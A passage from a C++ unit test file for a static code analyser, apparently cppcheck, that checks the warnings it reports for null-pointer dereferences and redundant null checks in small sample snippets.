[nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2681\n {\n const char code[] = \"void foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok && tok->str() == \\\"=\\\")\\n\"\n \" tok = tok->next();\\n\"\n \"\\n\"\n \" if (tok->str() != \\\";\\\")\\n\"\n \" ;\\n\"\n \"}\\n\";\n\n check(code);\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:3]: (warning) Either the condition 'while' is redundant or there is possible null pointer dereference: tok.\\n\", \"\", errout_str());\n\n check(\"void foo(Token &tok)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < tok.size(); i++ )\\n\"\n \" {\\n\"\n \" while (!tok)\\n\"\n \" char c = tok.read();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" if( !tok ) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" for (const Token *tok = tokens; tok; tok = tok ? tok->next() : NULL)\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\";\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A*a)\\n\"\n \"{\\n\"\n \" switch (a->b()) {\\n\"\n \" case 1:\\n\"\n \" while( a ){\\n\"\n \" a = a->next;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" case 2:\\n\"\n \" a->b();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dereference in outer scope..\n check(\"void foo(int x, const Token *tok) {\\n\"\n \" if (x == 123) {\\n\"\n \" while (tok) tok = tok->next();\\n\"\n \" }\\n\"\n \" tok->str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:5:5]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"int foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok){;}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok){;}\\n\"\n \" char a[2] = {0,0};\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct b {\\n\"\n \" b * c;\\n\"\n \" int i;\\n\"\n \"}\\n\"\n \"void a(b * e) {\\n\"\n \" for (b *d = e;d; d = d->c)\\n\"\n \" while (d && d->i == 0)\\n\"\n \" d = d->c;\\n\"\n \" if (!d) throw;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct b {\\n\"\n \" b * c;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void f(b* e1, b* e2) {\\n\"\n \" for (const b* d = e1; d != e2; d = d->c) {\\n\"\n \" if (d && d->i != 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:6:40]: (warning) Either the condition 'd' is redundant or there is possible null pointer dereference: d. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer1() {\n // ticket #1923 - no false positive when using else if\n check(\"void f(A *a)\\n\"\n \"{\\n\"\n \" if (a->x == 1)\\n\"\n \" {\\n\"\n \" a = a->next;\\n\"\n \" }\\n\"\n \" else if (a->x == 2) { }\\n\"\n \" if (a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2134 - sizeof doesn't dereference\n check(\"void f() {\\n\"\n \" int c = 1;\\n\"\n \" int *list = NULL;\\n\"\n \" sizeof(*list);\\n\"\n \" if (!list)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2245 - sizeof doesn't dereference\n check(\"void f(Bar *p) {\\n\"\n \" if (!p) {\\n\"\n \" int sz = sizeof(p->x);\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void nullpointer2() {\n // Null pointer dereference can only happen with pointers\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" while (fred);\\n\"\n \" fred.hello();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Dereferencing a struct and then checking if it is null\n // This is checked by this function:\n // CheckOther::nullPointerStructByDeRefAndCheck\n void structDerefAndCheck() {\n // extracttests.start: struct ABC { int a; int b; int x; };\n\n // errors..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:13]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(struct ABC *abc) {\\n\"\n \" bar(abc->a);\\n\"\n \" bar(x, abc->a);\\n\"\n \" bar(x, y, abc->a);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:5:9] -> [test.cpp:3:12]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:5:9] -> [test.cpp:4:15]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(ABC *abc) {\\n\"\n \" if (abc->a == 3) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" if (abc->x == 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (!abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:2:9]: (warning) Either the condition '!abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // TODO: False negative if member of member is dereferenced\n check(\"void foo(ABC *abc) {\\n\"\n \" abc->next->a = 0;\\n\"\n \" if (abc->next)\\n\"\n \" ;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:2]: (warning) Possible null pointer dereference: abc - otherwise it is redundant to check it against null.\\n\", \"\", errout_str());\n\n check(\"void foo(ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" if (abc && abc->b == 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:2:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // ok dereferencing in a condition\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" if (abc && abc->a);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\"\n \" int x = abc && a(abc->x);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok to use a linked list..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc = abc->next;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc = (ABC *)(abc->_next);\\n\"\n \" if (abc) { }\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // reassign struct..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" abc = abc->next;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" f(&abc);\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // goto..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" if (!abc)\\n\"\n \" goto out;\"\n \" a = abc->a;\\n\"\n \" return;\\n\"\n \"out:\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // loops..\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\"\n \" do\\n\"\n \" {\\n\"\n \" if (abc)\\n\"\n \" abc = abc->next;\\n\"\n \" --a;\\n\"\n \" }\\n\"\n \" while (a > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (const Token *tok = _tokenizer->tokens(); tok; tok = tok->next())\\n\"\n \" {\\n\"\n \" while (tok && tok->str() != \\\"{\\\")\\n\"\n \" tok = tok->next();\\n\"\n \" if (!tok)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dynamic_cast..\n check(\"void foo(ABC *abc)\\n\"\n \"{\\n\"\n \" int a = abc->a;\\n\"\n \" if (!dynamic_cast(abc))\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2641 - global pointer, function call\n check(\"ABC *abc;\\n\"\n \"void f() {\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"Fred *fred;\\n\"\n \"void f() {\\n\"\n \" fred->foo();\\n\"\n \" if (fred) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n // #2641 - local pointer, function call\n check(\"void f() {\\n\"\n \" ABC *abc = abc1;\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:3:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // #2641 - local pointer, function call\n check(\"void f(ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" do_stuff();\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // #2691 - switch/break\n check(\"void f(ABC *abc) {\\n\"\n \" switch ( x ) {\\n\"\n \" case 14:\\n\"\n \" sprintf(buf, \\\"%d\\\", abc->a);\\n\"\n \" break;\\n\"\n \" case 15:\\n\"\n \" if ( abc ) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3128\n check(\"void f(ABC *abc) {\\n\"\n \" x(!abc || y(abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(def || !abc || y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(abc && y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(ABC *abc) {\\n\"\n \" x(def && abc && y(def, abc->a));\\n\"\n \" if (abc) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3228 - calling function with null object\n {\n const char code[] = \"void f(Fred *fred) {\\n\"\n \" fred->x();\\n\"\n \" if (fred) { }\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:2:5]: (warning) Either the condition 'fred' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n // #3425 - false positives when there are macros\n checkP(\"#define IF if\\n\"\n \"void f(struct FRED *fred) {\\n\"\n \" fred->x = 0;\\n\"\n \" IF(!fred){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BUFFER *buffer = get_buffer();\\n\"\n \" if (!buffer)\\n\"\n \" uv_fatal_error();\\n\"\n \" buffer->x = 11;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Dereferencing a pointer and then checking if it is null\n void pointerDerefAndCheck() {\n // extracttests.start: void bar(int);\n\n // errors..\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" *p = 0;\\n\"\n \" if (p || q) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" bar(*p);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:10]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:12]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" if (*p == 0) { }\\n\"\n \" if (!p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:10]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // no error\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" f(&p);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int **p = f();\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" if (x)\\n\"\n \" p = 0;\\n\"\n \" else\\n\"\n \" *p = 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 2 * x;\"\n \" if (x == 0)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? *p : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p, bool x)\\n\"\n \"{\\n\"\n \" int var1 = x ? *p : 5;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:21]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // while\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" while (p) { p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" while (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:2:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // Ticket #3125\n check(\"void foo(ABC *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? (p->a) : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(ABC *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? (1 + p->a) : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = a ? 0 : 1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3686\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = a ? b : b+1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = (a) ? b : b+1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(P *p)\\n\"\n \"{\\n\"\n \" while (p)\\n\"\n \" if (p->check())\\n\"\n \" break;\\n\"\n \" else\\n\"\n \" p = p->next();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Document *doc) {\\n\"\n \" int x = doc && doc->x;\\n\"\n \" if (!doc) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3128 - false positive\n check(\"void f(int *p) {\\n\"\n \" assert(!p || (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" assert(p && (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 12;\\n\"\n \" assert(p && (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:2:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = p->next;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = bar(p->next);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = aa->bar(p->next);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = *p2 = p->next;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc = abc ? abc->next : 0;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\" // #4523\n \" abc = (*abc).next;\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\" // #4523\n \" abc = (*abc->ptr);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(Item *item) {\\n\"\n \" x = item ? ab(item->x) : 0;\\n\"\n \" if (item) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(Item *item) {\\n\"\n \" item->x = 0;\\n\"\n \" a = b ? c : d;\\n\"\n \" if (item) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning) Either the condition 'item' is redundant or there is possible null pointer dereference: item. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"BOOL GotoFlyAnchor()\\n\" // #2243\n \"{\\n\"\n \" const SwFrm* pFrm = GetCurrFrm();\\n\"\n \" do {\\n\"\n \" pFrm = pFrm->GetUpper();\\n\"\n \" } while( pFrm && !pFrm->IsFlyFrm() );\\n\"\n \"\\n\"\n \" if( !pFrm )\\n\"\n \" return FALSE;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2463\n check(\"struct A\\n\"\n \"{\\n\"\n \" B* W;\\n\"\n \"\\n\"\n \" void f() {\\n\"\n \" switch (InData) {\\n\"\n \" case 2:\\n\"\n \" if (!W) return;\\n\"\n \" W->foo();\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" f();\\n\"\n \" if (!W) return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2525 - sizeof\n check(\"void f() {\\n\"\n \" int *test = NULL;\\n\"\n \" int c = sizeof(test[0]);\\n\"\n \" if (!test)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(type* p) {\\n\" // #4983\n \" x(sizeof p[0]);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3023 - checked deref\n check(\"void f(struct ABC *abc) {\\n\"\n \" WARN_ON(!abc || abc->x == 0);\\n\"\n \" if (!abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(struct ABC *abc) {\\n\"\n \" WARN_ON(!abc || abc->x == 7);\\n\"\n \" if (!abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3425 - false positives when there are macros\n checkP(\"#define IF if\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" IF(!p){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #3914 - false positive\n \" int *p;\\n\"\n \" ((p=ret()) && (x=*p));\\n\"\n \" if (p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { struct T { char c; } *p; };\\n\" // #6541\n \"char f(S* s) { return s->p ? 'a' : s->p->c; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24] -> [test.cpp:2:37]: (warning) Either the condition 's->p' is redundant or there is possible null pointer dereference: s->p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer5() {\n // errors..\n check(\"void foo(A &a)\\n\"\n \"{\\n\"\n \" char c = a.c();\\n\"\n \" if (!a)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Execution paths..\n void nullpointerExecutionPaths() {\n // errors..\n check(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p = 0;\\n\"\n \" if (a == 1) {\\n\"\n \" p = new FooBar;\\n\"\n \" } else { if (a == 2) {\\n\"\n \" p = new FooCar; } }\\n\"\n \" p->abcd();\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Possible null pointer dereference: p\\n\",\n \"\", errout_str());\n\n check(\"static void foo() {\\n\"\n \" int &r = *(int*)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n check(\"static void foo(int x) {\\n\"\n \" int y = 5 + *(int*)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n {\n const char code[] = \"static void foo() {\\n\"\n \" Foo *abc = 0;\\n\"\n \" abc->a();\\n\"\n \"}\\n\";\n\n check(code);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Null pointer dereference: abc [nullPointer]\\n\", errout_str());\n }\n\n check(\"static void foo() {\\n\"\n \" std::cout << *(int*)0;\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *c = 0;\\n\"\n \" {\\n\"\n \" delete c;\\n\"\n \" }\\n\"\n \" c[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Null pointer dereference: c [nullPointer]\\n\", errout_str());\n\n check(\"static void foo() {\\n\"\n \" if (3 > *(int*)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n // no false positive..\n check(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p = 0;\\n\"\n \" p = new Foo;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sz = sizeof((*(struct dummy *)0).x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_offset(long &offset)\\n\"\n \"{\\n\"\n \" mystruct * temp; temp = 0;\\n\"\n \" offset = (long)(&(temp->z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #1893 - try/catch inside else\n check(\"int *test(int *Z)\\n\"\n \"{\\n\"\n \" int *Q=NULL;\\n\"\n \" if (Z) {\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" Z = new int;\\n\"\n \" try {\\n\"\n \" } catch(...) {\\n\"\n \" }\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" *Q=1;\\n\"\n \" return Q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int *test(int *Z)\\n\"\n \"{\\n\"\n \" int *Q=NULL;\\n\"\n \" if (Z) {\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" try {\\n\"\n \" } catch(...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" *Q=1;\\n\"\n \" return Q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (warning) Possible null pointer dereference: Q [nullPointer]\\n\", errout_str());\n\n // Ticket #2052 (false positive for 'else continue;')\n check(\"void f() {\\n\"\n \" for (int x = 0; x < 5; ++x) {\"\n \" int *p = 0;\\n\"\n \" if (a(x)) p=b(x);\\n\"\n \" else continue;\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function pointer..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" void (*f)();\\n\"\n \" 